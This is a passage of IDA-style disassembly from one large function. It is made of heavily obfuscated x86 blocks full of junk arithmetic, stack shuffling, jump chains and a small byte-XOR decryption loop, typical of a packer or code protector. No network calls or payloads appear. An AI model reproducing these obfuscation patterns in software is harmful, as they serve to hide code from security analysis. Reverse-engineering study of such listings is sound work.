		sub	ecx, ebx
		pop	ebx
		jmp	loc_5C1B53
; ---------------------------------------------------------------------------


loc_5CFAB3:				; CODE XREF: sub_5A55E5+1F4B9j
		push	ecx
		mov	cx, 5572h
		sub	cx, 0FF30h
		xor	bx, cx
		mov	ecx, [esp+8Eh+var_90+2]
		add	esp, 4
		sub	ax, 73D6h
		add	ax, bx
		push	ebx
		mov	bx, 5DCFh
		xchg	bp, bx
		not	bp
		xchg	bp, bx
		or	bx, 29F7h
		shl	bx, 4
		jmp	loc_5BFB24
; ---------------------------------------------------------------------------


loc_5CFAEC:				; CODE XREF: sub_5A55E5+27868j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5C3151
; ---------------------------------------------------------------------------


loc_5CFAFF:				; CODE XREF: sub_5A55E5+2756Dj
		push	esp
		jmp	loc_5C52DC
; ---------------------------------------------------------------------------


loc_5CFB05:				; CODE XREF: sub_5A55E5+2DDB2j
		add	eax, ebx
		jmp	loc_5D330D
; ---------------------------------------------------------------------------


loc_5CFB0C:				; CODE XREF: sub_5A55E5+1CAEEj
		mov	[esp+58h+var_58], esi
		mov	esi, 800000h
		and	eax, esi
		push	[esp+58h+var_58]
		pop	esi
		jmp	loc_5BFB84
; ---------------------------------------------------------------------------


loc_5CFB1F:				; CODE XREF: sub_5A55E5+1DCFFj
		add	ebx, ebp
		pop	ebp
		jmp	loc_5D2837
; ---------------------------------------------------------------------------


loc_5CFB27:				; CODE XREF: sub_5A55E5+1EF12j
		mov	ebp, [esp+82h+var_84+2]
		add	esp, 4
		jmp	loc_5C3A58
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+7Eh+var_80+2]
		jmp	loc_5C2D5A
; ---------------------------------------------------------------------------


loc_5CFB3B:				; CODE XREF: sub_5A55E5+25EA9j
		push	ecx
		mov	cl, 37h
		mov	al, 0A6h
		sub	al, cl
		pop	ecx
		jmp	loc_5D152E
; ---------------------------------------------------------------------------


loc_5CFB48:				; CODE XREF: sub_5A55E5+1C3F0j
		pop	esi
		jmp	loc_5C3057
; ---------------------------------------------------------------------------


loc_5CFB4E:				; CODE XREF: sub_5A55E5+29ED9j
		xor	ecx, 9ECAC4E6h
		jmp	loc_5CBF19
; ---------------------------------------------------------------------------


loc_5CFB59:				; CODE XREF: sub_5A55E5+251C1j
		mov	eax, [esp+96h+var_98+2]
		add	esp, 4
		shr	eax, 5
		dec	eax
		push	esi
		push	609Bh
		mov	[esp+9Ah+var_9C+2], ebx
		mov	ebx, 2ECC3134h
		add	ebx, 1450B86Ch
		mov	esi, ebx
		pop	ebx
		add	eax, esi
		jmp	loc_5CCD17
; ---------------------------------------------------------------------------


loc_5CFB81:				; CODE XREF: sub_5A55E5+1A8D8j
		mov	ebx, [esp+80h+var_80]
		add	esp, 4
		push	66EAh
		mov	[esp+80h+var_80], ebp
		mov	ebp, 5CB37712h
		shl	ebp, 7
		jmp	loc_5C8C70
; ---------------------------------------------------------------------------


loc_5CFB9C:				; CODE XREF: sub_5A55E5+2AAD6j
		mov	ecx, 467C7347h
		not	ecx
		dec	ecx
		jmp	loc_5C5A21
; ---------------------------------------------------------------------------


loc_5CFBA9:				; CODE XREF: sub_5A55E5+1F213j
		mov	ah, 70h
		inc	ah
		and	ah, 0B2h
		add	ah, 0ACh
		jmp	loc_5C2C43
; ---------------------------------------------------------------------------


loc_5CFBB8:				; CODE XREF: sub_5A55E5+1CB0Dj
		push	edx
		pop	ebx
		jmp	loc_5D406D
; ---------------------------------------------------------------------------


loc_5CFBBF:				; CODE XREF: sub_5A55E5+1B044j
		mov	dl, bh
		pop	ebx
		push	ecx
		jmp	loc_5CF77E
; ---------------------------------------------------------------------------


loc_5CFBC8:				; CODE XREF: sub_5A55E5+2350Ej
		xchg	edx, [esp+68h+var_68]
		pop	esp
		mov	[esp+64h+var_64], edi
		sub	esp, 4
		push	5E92h
		mov	[esp+6Ch+var_6C], esp
		jmp	loc_5C4362
; ---------------------------------------------------------------------------


loc_5CFBE2:				; CODE XREF: sub_5A55E5+21D4Bj
		mov	ecx, 5AB6214Dh
		sub	edx, ecx
		pop	ecx
		jmp	loc_5C3186
; ---------------------------------------------------------------------------


loc_5CFBEF:				; CODE XREF: sub_5A55E5+249D0j
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5CFBF4:				; CODE XREF: sub_5A55E5+1BA43j
		add	ecx, 1ABF4CD5h
		pop	edi
		add	ecx, esi
		jmp	loc_5C98BA
; ---------------------------------------------------------------------------


loc_5CFC02:				; CODE XREF: sub_5A55E5+2312Fj
		add	esp, 4
		add	esp, 4
		push	esi
		mov	esi, 4427358Bh
		jmp	loc_5CD503
; ---------------------------------------------------------------------------


loc_5CFC16:				; CODE XREF: sub_5A55E5+230B0j
		mov	esi, 36D2227h
		push	esi
		mov	esi, 241B7AA9h
		sub	esi, 0F6F0393Fh
		mov	ebx, esi
		pop	esi
		xor	ebx, esi
		pop	esi
		jmp	loc_5C033B
; ---------------------------------------------------------------------------


loc_5CFC32:				; CODE XREF: sub_5A55E5+2122Ej
		mov	edx, esp
		add	edx, 4
		jmp	loc_5D0822
; ---------------------------------------------------------------------------


loc_5CFC3F:				; CODE XREF: sub_5A55E5+1A9BDj
		add	edi, 5676BCE7h
		mov	esi, edi
		jmp	loc_5CA694
; ---------------------------------------------------------------------------


loc_5CFC4C:				; CODE XREF: sub_5A55E5+21E15j
		or	edx, 430A518Fh
		add	edx, 0D0BAAE47h
		sub	esi, edx
		pop	edx
		inc	esi
		add	esi, 280ECBC5h
		jmp	loc_5C7118
; ---------------------------------------------------------------------------


loc_5CFC67:				; CODE XREF: sub_5A55E5+27734j
		mov	ecx, eax
		mov	ebp, ecx
		pop	ecx
		pop	eax
		jmp	loc_5C7F43
; ---------------------------------------------------------------------------


loc_5CFC72:				; CODE XREF: sub_5A55E5+26D02j
		not	cl
		push	eax
		mov	ah, 1Eh
		add	ah, 8Ah
		sub	cl, ah
		pop	eax
		push	4F91h
		mov	[esp+8Eh+var_90+2], ebx
		mov	bh, cl
		sub	esp, 4
		mov	[esp+92h+var_94+2], eax
		mov	al, bh
		push	ecx
		push	edx
		mov	dh, al
		jmp	loc_5D0AD6
; ---------------------------------------------------------------------------


loc_5CFC98:				; CODE XREF: sub_5A55E5+2A113j
		pop	ecx
		push	ebp
		mov	ebp, 55681FBFh
		add	eax, ebp
		jmp	loc_5D3955
; ---------------------------------------------------------------------------


loc_5CFCA6:				; CODE XREF: sub_5A55E5+1F5E6j
		mov	ebx, [esp+94h+var_94]
		add	esp, 4
		push	eax
		push	esi
		jmp	loc_5D31A7
; ---------------------------------------------------------------------------


loc_5CFCB3:				; CODE XREF: sub_5A55E5+2D2AEj
		mov	ebx, 24142CCAh
		xor	ebx, 7B5142C1h
		add	esi, ebx
		jmp	loc_5D11C1
; ---------------------------------------------------------------------------


loc_5CFCC5:				; CODE XREF: sub_5A55E5+2A09Ej
		and	ecx, 258B6855h
		neg	ecx
		shl	ecx, 3
		push	edi
		mov	edi, 5C7E1F97h
		add	ecx, edi
		pop	edi
		mov	eax, ecx
		pop	ecx
		push	esi
		jmp	loc_5C6461
; ---------------------------------------------------------------------------


loc_5CFCE2:				; CODE XREF: sub_5A55E5+254F1j
		pop	ebx
		add	ebx, 4
		push	6609h
		mov	[esp+0A0h+var_A0], edi
		jmp	loc_5C6E66
; ---------------------------------------------------------------------------


loc_5CFCF6:				; CODE XREF: sub_5A55E5+1C75Aj
		mov	[esp+0B6h+var_B8+2], esi
		jmp	loc_5C75F5
; ---------------------------------------------------------------------------


loc_5CFCFE:				; CODE XREF: sub_5A55E5+23488j
		jmp	loc_5D3D4D
; ---------------------------------------------------------------------------


loc_5CFD03:				; CODE XREF: sub_5A55E5+1FC17j
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5D278C
; ---------------------------------------------------------------------------


loc_5CFD11:				; CODE XREF: sub_5A55E5+273D3j
		add	esp, 4
		xor	edx, esi
		pop	esi
		jmp	loc_5C42D4
; ---------------------------------------------------------------------------


loc_5CFD1F:				; CODE XREF: sub_5A55E5+1F055j
		push	ecx
		mov	ecx, 3DD16293h
		xor	ecx, 217404BBh
		or	ecx, 4DDC357Ch
		push	30CFh
		mov	[esp+6Eh+var_70+2], eax
		mov	eax, 0BEF49F0h
		shr	eax, 3
		not	eax
		sub	eax, 1
		shl	eax, 7
		sub	eax, 9F08D778h
		jmp	loc_5C755B
; ---------------------------------------------------------------------------


loc_5CFD53:				; CODE XREF: sub_5A55E5+228A9j
		push	eax
		mov	eax, esp
		jmp	loc_5C1261
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	15E2h
		mov	[esp+0A8h+var_A8], ecx
		mov	ch, 25h
		push	0
		sub	byte ptr [esp+0ACh+var_AC], ch
		mov	ch, byte ptr [esp+0ACh+var_AC]
		add	esp, 4
		xor	ch, 0EBh
		jmp	loc_5CB012
; ---------------------------------------------------------------------------


loc_5CFD7E:				; CODE XREF: sub_5A55E5+2359Dj
		mov	edi, 56116F1Eh
		add	edi, 0FFFFFFFFh
		dec	edi
		sub	esp, 4
		mov	[esp+68h+var_68], esi
		mov	esi, 3BBA3D48h
		shl	esi, 1
		xor	esi, 51EF390Ah
		not	esi
		or	esi, 70CA5792h
		jmp	loc_5C19CD
; ---------------------------------------------------------------------------


loc_5CFDA7:				; CODE XREF: sub_5A55E5+2BDF0j
		mov	bx, word ptr [esp+68h+var_68]
		push	2B4Bh
		jmp	loc_5C1EA7
; ---------------------------------------------------------------------------


loc_5CFDB5:				; CODE XREF: sub_5A55E5+22626j
		dec	ecx
		sub	ecx, 877972DBh
		mov	ebx, ecx
		pop	ecx
		add	ecx, ebx
		pop	ebx
		add	ecx, 4
		xor	ecx, [esp+0AEh+var_B0+2]
		xor	[esp+0AEh+var_B0+2], ecx
		xor	ecx, [esp+0AEh+var_B0+2]
		jmp	loc_5D17CC
; ---------------------------------------------------------------------------


loc_5CFDD3:				; CODE XREF: sub_5A55E5+22AA7j
		mov	bl, 0A4h
		or	bl, 75h
		or	bl, 67h
		push	edx
		jmp	loc_5CC51B
; ---------------------------------------------------------------------------


loc_5CFDE1:				; CODE XREF: sub_5A55E5+2B82Cj
		push	[esp+0B6h+var_B8+2]
		jmp	loc_5C887B
; ---------------------------------------------------------------------------


loc_5CFDE9:				; CODE XREF: sub_5A55E5+2DC1Bj
		add	esp, 4
		dec	ecx
		not	ecx
		jmp	loc_5C22E1
; ---------------------------------------------------------------------------


loc_5CFDF7:				; CODE XREF: sub_5A55E5+1E4C4j
		shl	edx, 4
		sub	edx, 7F4251B3h
		add	edx, 0E740FFBCh
		add	eax, edx
		pop	edx
		jmp	loc_5C657F
; ---------------------------------------------------------------------------


loc_5CFE0E:				; CODE XREF: sub_5A55E5+2D3EAj
		or	bl, 0BAh
		xor	bl, 0EFh
		xor	dl, bl
		pop	ebx
		inc	dl
		add	dl, 9Ah
		or	dl, 0CEh
		jmp	loc_5C8012
; ---------------------------------------------------------------------------


loc_5CFE24:				; CODE XREF: sub_5A55E5+1DD91j
		sub	eax, 1ACE14F1h
		add	eax, 17C9538Ah
		add	[eax], ebp
		pop	eax
		pop	ecx
		jmp	loc_5D08E1
; ---------------------------------------------------------------------------


loc_5CFE37:				; CODE XREF: sub_5A55E5+1CC09j
		mov	ebx, 3A3408FEh
		sub	ebx, 6FFA2388h
		dec	ebx
		push	edi
		mov	edi, 0
		sub	edi, ebx
		jmp	loc_5C3598
; ---------------------------------------------------------------------------


loc_5CFE50:				; CODE XREF: sub_5A55E5+1B9B9j
		mov	ebx, eax
		jmp	loc_5C0470
; ---------------------------------------------------------------------------


loc_5CFE57:				; CODE XREF: sub_5A55E5+2E2F3j
		pop	edx
		push	eax
		mov	eax, esp
		push	edi
		mov	edi, 12AD32CDh
		xor	edi, 12AD32C9h
		jmp	loc_5C07E1
; ---------------------------------------------------------------------------


loc_5CFE6C:				; CODE XREF: sub_5A55E5+26B24j
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp+80h+var_80]
		jmp	loc_5CDBDD
; ---------------------------------------------------------------------------


loc_5CFE7D:				; CODE XREF: sub_5A55E5+2549Bj
		shr	byte ptr [esp+92h+var_94+2], cl
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5CFE86:				; CODE XREF: sub_5A55E5+1EFA7j
		sub	ebx, 58944A1h
		jmp	loc_5D1C59
; ---------------------------------------------------------------------------


loc_5CFE91:				; CODE XREF: sub_5A55E5+2AAC2j
		mov	ebx, 4
		push	ecx
		mov	ecx, 520074D4h
		add	esi, ecx
		jmp	loc_5C2F0A
; ---------------------------------------------------------------------------


loc_5CFEA3:				; CODE XREF: sub_5A55E5+26CA4j
		push	esi
		mov	esi, 1C8F7C74h
		sub	edx, esi
		jmp	loc_5CD16F
; ---------------------------------------------------------------------------


loc_5CFEB0:				; CODE XREF: sub_5A55E5+22544j
		mov	ebx, 70935979h
		xor	ebx, 7AE9101Ch
		sub	ebx, 1E6706B7h
		add	ebx, 12390F4Ch
		xor	ebx, 52D10072h
		add	ebx, 0C405E100h
		push	ebx
		pop	esi
		jmp	loc_5C74ED
; ---------------------------------------------------------------------------


loc_5CFEDA:				; CODE XREF: sub_5A55E5+273B7j
		push	ebp
		jmp	loc_5D2EBE
; ---------------------------------------------------------------------------


loc_5CFEE0:				; CODE XREF: sub_5A55E5+23340j
		mov	eax, 0
		push	edx
		jmp	loc_5D1DCD
; ---------------------------------------------------------------------------


loc_5CFEEB:				; CODE XREF: sub_5A55E5+25684j
		push	eax
		push	[esp+84h+var_80]
		mov	eax, [esp+88h+var_88]
		add	esp, 4
		pop	[esp+84h+var_84]
		mov	esp, [esp+80h+var_80]
		sub	esp, 4
		mov	[esp+84h+var_84], ebx
		push	7016h
		mov	[esp+88h+var_88], ecx
		mov	ecx, 8ED68CDh
		dec	ecx
		xchg	ebx, ecx
		jmp	loc_5C9F87
; ---------------------------------------------------------------------------


loc_5CFF1D:				; CODE XREF: sub_5A55E5+2AA8Fj
		push	7C8h
		mov	[esp+8Ch+var_8C], edi
		push	esp
		mov	edi, [esp+90h+var_90]
		jmp	loc_5D3621
; ---------------------------------------------------------------------------


loc_5CFF2E:				; CODE XREF: sub_5A55E5+1B764j
		neg	eax
		neg	eax
		xor	eax, 0D23BECCAh
		sub	ebp, 3FAB6DF7h
		add	ebp, eax
		jmp	loc_5C0648
; ---------------------------------------------------------------------------


loc_5CFF44:				; CODE XREF: sub_5A55E5+2C69Fj
		mov	dh, bl
		push	73DAh
		mov	[esp+9Ch+var_9C], ecx
		mov	cl, dh
		mov	ah, cl
		jmp	loc_5CD010
; ---------------------------------------------------------------------------


loc_5CFF57:				; CODE XREF: sub_5A55E5+1AC49j
		mov	ebp, 4
		add	ecx, 69433FF9h
		sub	ecx, ebp
		sub	ecx, 69433FF9h
		push	[esp+7Ch+var_7C]
		pop	ebp
		push	esi
		mov	esi, esp
		push	ebp
		mov	ebp, 4
		sub	esi, 16407E8Ch
		add	esi, ebp
		add	esi, 16407E8Ch
		mov	ebp, [esp+84h+var_84]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_5C7281
; ---------------------------------------------------------------------------


loc_5CFF96:				; CODE XREF: sub_5A55E5+2812Fj
		sub	edi, ebx
		add	edi, 139D6141h
		pop	ebx
		jmp	loc_5C8815
; ---------------------------------------------------------------------------


loc_5CFFA4:				; CODE XREF: sub_5A55E5+20D12j
		mov	edx, ecx
		mov	ecx, [esp+0BAh+var_BC+2]
		jmp	loc_5C4346
; ---------------------------------------------------------------------------


loc_5CFFAE:				; CODE XREF: sub_5A55E5+21A3Dj
		mov	ecx, [esp+0A2h+var_A4+2]
		add	esp, 4
		sub	eax, ebp
		pop	ebp
		add	eax, 73D52FBFh
		sub	eax, 7561244Bh
		sub	eax, 6E1E07E8h
		add	eax, ebx
		add	eax, 6E1E07E8h
		sub	esp, 4
		mov	[esp+9Eh+var_A0+2], ecx
		jmp	loc_5C195E
; ---------------------------------------------------------------------------


loc_5CFFDB:				; CODE XREF: sub_5A55E5+28278j
		push	ecx
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5CFFE2:				; CODE XREF: sub_5A55E5+2C8C3j
		add	eax, esi
		mov	esi, [esp+9Ch+var_9C]
		jmp	loc_5CD1E9
; ---------------------------------------------------------------------------


loc_5CFFEC:				; CODE XREF: sub_5A55E5+1B545j
		push	[esp+92h+var_94+2]
		pop	edi
		add	esp, 4
		jmp	loc_5D172B
; ---------------------------------------------------------------------------


loc_5CFFF8:				; CODE XREF: sub_5A55E5+2678Fj
		pop	eax
		xor	esi, ebp
		pop	ebp
		add	ecx, 36947826h
		add	ecx, 61483611h
		sub	ecx, esi
		sub	ecx, 61483611h
		jmp	loc_5D385A
; ---------------------------------------------------------------------------


loc_5D0015:				; CODE XREF: sub_5A55E5+1BDAEj
		inc	edx
		sub	edx, 47D72978h
		mov	ecx, edx
		pop	edx
		push	ecx
		add	[esp+0C8h+var_C8], 567D17D6h
		pop	ebx
		sub	ebx, 567D17D6h
		pop	ecx
		jmp	loc_5C6EB3
; ---------------------------------------------------------------------------


loc_5D0034:				; CODE XREF: sub_5A55E5+2B1A5j
		pop	[esp+0C0h+var_C0]
		pop	esp
		movsx	cx, al
		push	small 1AF7h
		mov	word ptr [esp+0BAh+var_BC+2], cx
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5D0049:				; CODE XREF: sub_5A55E5+2750Dj
		sub	edx, edi
		push	edi
		mov	edi, 167E71B9h
		and	edi, 33F0568Eh
		not	edi
		shr	edi, 3
		jmp	loc_5C8719
; ---------------------------------------------------------------------------


loc_5D0061:				; CODE XREF: sub_5A55E5+219B7j
		shl	ebp, 8
		jmp	loc_5D0BB4
; ---------------------------------------------------------------------------


loc_5D0069:				; CODE XREF: sub_5A55E5+283DAj
		neg	eax
		jmp	loc_5C74FB
; ---------------------------------------------------------------------------
		push	[esp+8Eh+var_90+2]
		pop	ecx
		jmp	loc_5CFF1D
; ---------------------------------------------------------------------------


loc_5D0079:				; CODE XREF: sub_5A55E5+2CBD9j
		add	esi, edi
		pop	edi
		jmp	loc_5C0F8F
; ---------------------------------------------------------------------------


loc_5D0081:				; CODE XREF: sub_5A55E5+2CE0Fj
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp+8Ah+var_8C+2]
		pop	esp
		jmp	loc_5D32EE
; ---------------------------------------------------------------------------


loc_5D0093:				; CODE XREF: sub_5A55E5+24ADFj
		xchg	eax, [esp+80h+var_80]
		jmp	loc_5C4B06
; ---------------------------------------------------------------------------


loc_5D009B:				; CODE XREF: sub_5A55E5+20396j
		pop	eax
		push	5029h
		mov	[esp+7Ah+var_7C+2], esi
		push	esp
		pop	esi
		push	ebx
		jmp	loc_5CFE91
; ---------------------------------------------------------------------------


loc_5D00AC:				; CODE XREF: sub_5A55E5+22D38j
		mov	ecx, 2
		push	edi
		push	ebx
		jmp	loc_5CE8A6
; ---------------------------------------------------------------------------


loc_5D00B8:				; CODE XREF: sub_5A55E5+1AB68j
		neg	edi
		push	ecx
		jmp	loc_5CFB9C
; ---------------------------------------------------------------------------


loc_5D00C0:				; CODE XREF: sub_5A55E5+1F923j
		add	ebx, 4
		xor	ebx, [esp+98h+var_98]
		xor	[esp+98h+var_98], ebx
		xor	ebx, [esp+98h+var_98]
		mov	esp, [esp+98h+var_98]
		jmp	loc_5D1979
; ---------------------------------------------------------------------------


loc_5D00D7:				; CODE XREF: sub_5A55E5+275FAj
		mov	esi, 8D57A92h
		add	edi, esi
		pop	esi
		add	edi, eax
		jmp	loc_5C3381
; ---------------------------------------------------------------------------


loc_5D00E6:				; CODE XREF: sub_5A55E5+21967j
		pop	ebx
		pop	edx
		jmp	loc_5D342F
; ---------------------------------------------------------------------------


loc_5D00ED:				; CODE XREF: sub_5A55E5+1BC2Ej
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_5D0FC0
; ---------------------------------------------------------------------------


loc_5D0100:				; CODE XREF: sub_5A55E5+24C1Dj
		mov	eax, 345E6DCCh
		add	esi, eax
		pop	eax
		neg	esi
		sub	esi, 73C93D90h
		sub	ebx, esi
		mov	esi, [esp+0B2h+var_B4+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5D0425
; ---------------------------------------------------------------------------


loc_5D0126:				; CODE XREF: sub_5A55E5+2BCEAj
		and	edi, 339A5573h
		jmp	loc_5C264A
; ---------------------------------------------------------------------------


loc_5D0131:				; CODE XREF: sub_5A55E5+2E202j
		push	edx
		mov	edx, 1E49657Bh
		and	edx, 2732053Eh
		jmp	loc_5D2AA4
; ---------------------------------------------------------------------------


loc_5D0142:				; CODE XREF: sub_5A55E5+1CC90j
		mov	esi, 4
		jmp	loc_5CC28E
; ---------------------------------------------------------------------------


loc_5D014C:				; CODE XREF: sub_5A55E5+246B3j
		mov	ebx, esp
		jmp	loc_5D3649
; ---------------------------------------------------------------------------


loc_5D0153:				; CODE XREF: sub_5A55E5+2764Fj
		push	0AC0h
		mov	[esp+0D8h+var_D8], ebx
		jmp	loc_5CA0C9
; ---------------------------------------------------------------------------


loc_5D0160:				; CODE XREF: sub_5A55E5+2A0CCj
		push	esi
		jmp	loc_5BFAF2
; ---------------------------------------------------------------------------


loc_5D0166:				; CODE XREF: sub_5A55E5+2E401j
		push	small 10CAh
		jmp	loc_5D2772
; ---------------------------------------------------------------------------


loc_5D016F:				; CODE XREF: sub_5A55E5+25C5Dj
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5CEC6F
; ---------------------------------------------------------------------------


loc_5D017D:				; CODE XREF: sub_5A55E5+2AF2Aj
		mov	eax, 4A2765F2h
		jmp	loc_5C9F34
; ---------------------------------------------------------------------------


loc_5D0187:				; CODE XREF: sub_5A55E5+2B285j
		push	esp
		pop	ecx
		push	ebx
		push	eax
		mov	eax, 660C030Ch
		mov	ebx, 660C0310h
		sub	ebx, eax
		pop	eax
		add	ecx, ebx
		jmp	loc_5C66F7
; ---------------------------------------------------------------------------


loc_5D019F:				; CODE XREF: sub_5A55E5+1B92Bj
		mov	ebx, [esp+8Ch+var_8C]
		add	esp, 4
		shr	edx, 4
		add	edx, 1
		push	ebp
		jmp	loc_5C585A
; ---------------------------------------------------------------------------


loc_5D01B7:				; CODE XREF: sub_5A55E5+2B29Bj
		mov	esi, 4
		jmp	loc_5D1AD5
; ---------------------------------------------------------------------------


loc_5D01C1:				; CODE XREF: sub_5A55E5+22D69j
		pop	eax
		xor	esi, eax
		push	[esp+9Ah+var_9C+2]
		jmp	loc_5CC506
; ---------------------------------------------------------------------------


loc_5D01CC:				; CODE XREF: sub_5A55E5+1F206j
		add	ebp, 3C1468E7h
		add	ebp, 2537372Ch
		push	ecx
		mov	ecx, 1DFE6C5Dh
		or	ecx, 641F738Eh
		jmp	loc_5CB8AD
; ---------------------------------------------------------------------------


loc_5D01E9:				; CODE XREF: sub_5A55E5+20F25j
		mov	[esp+0C0h+var_C0], ebx
		push	edx
		jmp	loc_5C22B4
; ---------------------------------------------------------------------------


loc_5D01F2:				; CODE XREF: sub_5A55E5+2B2A3j
		sub	esp, 4
		mov	[esp+0C8h+var_C8], ecx
		mov	ecx, esp
		jmp	loc_5D0EFB
; ---------------------------------------------------------------------------


loc_5D0202:				; CODE XREF: sub_5A55E5+1A3EEj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0]
		pop	esp
		jmp	loc_5C73EE
; ---------------------------------------------------------------------------


loc_5D0215:				; CODE XREF: sub_5A55E5+2175Fj
		push	6E90h
		mov	[esp+60h+var_60], ebx
		push	19DD0706h
		mov	ebx, [esp+64h+var_64]
		add	esp, 4
		shr	ebx, 6
		push	7BADh
		mov	[esp+64h+var_64], edi
		mov	edi, 61EC7E77h
		add	edi, 9E7AF5A1h
		xor	ebx, edi
		jmp	loc_5C7EF0
; ---------------------------------------------------------------------------


loc_5D0248:				; CODE XREF: sub_5A55E5+2200Bj
		mov	edx, 5B935FAh
		jmp	loc_5D1F40
; ---------------------------------------------------------------------------


loc_5D0252:				; CODE XREF: sub_5A55E5+2843Dj
		push	eax
		mov	ah, cl
		push	3119h
		jmp	loc_5C0496
; ---------------------------------------------------------------------------


loc_5D025F:				; CODE XREF: sub_5A55E5+2E0D5j
		pop	edi
		xor	ebx, 449A4191h
		xor	edi, ebx
		pop	ebx
		or	edi, 4921716Bh
		push	edx
		mov	edx, 149E0C99h
		add	edi, edx
		pop	edx
		jmp	loc_5CBFC4
; ---------------------------------------------------------------------------


loc_5D027D:				; CODE XREF: sub_5A55E5+208B9j
		shr	ecx, 3
		add	ecx, 99793490h
		sub	esi, ecx
		pop	ecx
		add	ebx, 60BB3359h
		jmp	loc_5C2189
; ---------------------------------------------------------------------------


loc_5D0294:				; CODE XREF: sub_5A55E5+2C724j
		mov	ebx, 704E7C15h
		sub	ebp, 62845F81h
		jmp	loc_5C0319
; ---------------------------------------------------------------------------


loc_5D02A4:				; CODE XREF: sub_5A55E5+2D28Fj
		xor	ebx, [esp+7Ah+var_7C+2]
		jmp	loc_5C040B
; ---------------------------------------------------------------------------


loc_5D02AC:				; CODE XREF: sub_5A55E5+2E037j
		xchg	eax, [esp+7Ah+var_7C+2]
		mov	esp, [esp+7Ah+var_7C+2]
		push	ebp
		jmp	loc_5D142B
; ---------------------------------------------------------------------------


loc_5D02B8:				; CODE XREF: sub_5A55E5+2CB1Cj
		and	edi, 399513Eh
		sub	esp, 4
		mov	[esp+82h+var_84+2], ebx
		jmp	loc_5CA75C
; ---------------------------------------------------------------------------


loc_5D02CC:				; CODE XREF: sub_5A55E5+1EF4Aj
		push	esi
		mov	esi, 29ED7239h
		dec	esi
		neg	esi
		push	ecx
		mov	ecx, 0FFFFFFFFh
		add	esi, ecx
		pop	ecx
		jmp	loc_5C0C2E
; ---------------------------------------------------------------------------


loc_5D02E3:				; CODE XREF: sub_5A55E5+264CDj
		pop	ebx
		xchg	edi, [esp+98h+var_98]
		mov	esp, [esp+98h+var_98]
		push	esi
		push	ebp
		jmp	loc_5C7614
; ---------------------------------------------------------------------------


loc_5D02F1:				; CODE XREF: sub_5A55E5+2426Dj
		add	ebp, 4
		push	eax
		mov	eax, 2
		jmp	loc_5C2E2D
; ---------------------------------------------------------------------------


loc_5D0302:				; CODE XREF: sub_5A55E5+1BE25j
		pop	eax
		push	ebx
		mov	ebx, 694C6636h
		inc	ebx
		shl	ebx, 7
		or	ebx, 64E723EEh
		or	ebx, 0EA21CCFh
		inc	ebx
		jmp	loc_5CBC48
; ---------------------------------------------------------------------------


loc_5D031F:				; CODE XREF: sub_5A55E5+2C4EBj
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5D0324:				; CODE XREF: sub_5A55E5+21EADj
		sub	al, cl
		mov	cx, word ptr [esp+9Ch+var_9C]
		jmp	loc_5C16DB
; ---------------------------------------------------------------------------


loc_5D032F:				; CODE XREF: sub_5A55E5+2D2B6j
		push	esi
		jmp	loc_5C5BEE
; ---------------------------------------------------------------------------


loc_5D0335:				; CODE XREF: sub_5A55E5+268BCj
		push	edx
		sub	esp, 4
		mov	[esp+0A6h+var_A8+2], ecx
		push	10562F61h
		jmp	loc_5D115F
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp+0AEh+var_B0+2], edx
		push	esp
		pop	edx
		add	edx, 4
		push	eax
		mov	eax, 4
		sub	edx, eax
		mov	eax, [esp+0B2h+var_B4+2]
		add	esp, 4
		xchg	edx, [esp+0AEh+var_B0+2]
		mov	esp, [esp+0AEh+var_B0+2]
		jmp	loc_5CB343
; ---------------------------------------------------------------------------


loc_5D0373:				; CODE XREF: sub_5A55E5+2639Cj
		push	ecx
		mov	ch, 81h
		and	ch, 0E4h
		sub	ch, 0ECh
		add	ch, 33h
		push	eax
		mov	al, 0D7h
		jmp	loc_5CCD8C
; ---------------------------------------------------------------------------


loc_5D0387:				; CODE XREF: sub_5A55E5+2C6CFj
		push	15C1h
		mov	[esp+94h+var_94], edi
		mov	edi, 114B5A19h
		push	esi
		mov	esi, 13F775BEh
		jmp	loc_5C95AD
; ---------------------------------------------------------------------------


loc_5D039F:				; CODE XREF: sub_5A55E5+23EC1j
		shl	dh, 6
		push	bx
		mov	bh, 0BBh
		xor	dh, bh
		pop	bx
		add	bl, dh
		mov	edx, [esp+0A0h+var_A0]
		jmp	loc_5C4575
; ---------------------------------------------------------------------------


loc_5D03B4:				; CODE XREF: sub_5A55E5+2B5AFj
		sub	eax, ebp
		pop	ebp
		sub	eax, 39441886h
		push	edi
		push	ebx
		mov	ebx, 7834685Bh
		push	0
		sub	[esp+0A8h+var_A8], ebx
		pop	ebx
		push	ebx
		neg	[esp+0A8h+var_A8]
		pop	ebx
		jmp	loc_5C1C0C
; ---------------------------------------------------------------------------


loc_5D03D6:				; CODE XREF: sub_5A55E5+1F384j
		pop	ecx
		jmp	loc_5CCE67
; ---------------------------------------------------------------------------


loc_5D03DC:				; CODE XREF: sub_5A55E5+2CEF5j
		mov	bh, 34h
		or	bh, 84h
		add	bh, 0FFh
		push	311Fh
		mov	[esp+90h+var_90], eax
		jmp	loc_5C8377
; ---------------------------------------------------------------------------


loc_5D03F1:				; CODE XREF: sub_5A55E5+1FB6Fj
		push	edi
		mov	edi, 4
		sub	edx, 9D4723Bh
		sub	edx, 5E771E00h
		add	edx, edi
		jmp	loc_5CED49
; ---------------------------------------------------------------------------


loc_5D040A:				; CODE XREF: sub_5A55E5+25DAEj
		pop	eax
		jmp	loc_5D3DC7
; ---------------------------------------------------------------------------


